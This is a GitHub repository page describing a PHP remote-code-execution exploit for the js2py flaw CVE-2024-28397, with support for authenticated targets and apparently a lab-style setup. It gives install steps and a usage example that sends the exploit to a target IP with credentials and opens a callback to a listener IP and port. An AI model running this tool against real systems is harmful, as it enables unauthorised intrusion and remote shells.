Skip to content

Leilamag/CodeTwoRCEExploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 

Repository files navigation

CodeTwoRCEExploit

This script incorporates authentication to access a protected endpoint where the target server requires user login credentials.

Description

CodeTwoRCEExploit.php is a PHP-based remote code execution (RCE) exploit tool targeting a vulnerability in the js2py library (CVE-2024-28397) in applications leveraging the js2py JavaScript interpreter for Python. This exploit allows the attacker to execute arbitrary code by injecting malicious JavaScript payload. This version is a modification of the original 0timeday script, enhanced to support authentication mechanisms. It is designed for use in environments where access to the vulnerable endpoint is restricted and requires valid user credentials, making it suitable for exploiting authenticated targets.

Installation && Setup

git clone https://github.com/Leilamag/CodeTwoRCEExploit
cd CodeTwoRCEExploit
sudo apt install composer

Install Guzzle run this command

composer require guzzlehttp/guzzle

Run the command below to set the tool up with the required packages

composer init

Then paste this after running the above to create the vendor required in the script

vendor/autoload.php

Usage && Example

Run this command to get help on how to use the tool

php CodeTwoRCEExploit.php 

Usage

php CodeTwoRCEExploit.php -t <target_ip> -l <listener_ip> -u <username> -w <password> [-p <target_port>] [-P <target_uri>] [-r <listener_port>] [-v]

Example

php CodeTwoRCEExploit.php -t 10.10.11.82 -p 8000 -P /run_code -l 10.10.10.10 -r 4444 -u username -w password -v

About

This script incorporates authentication to access a protected endpoint where the target server requires user login credentials.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages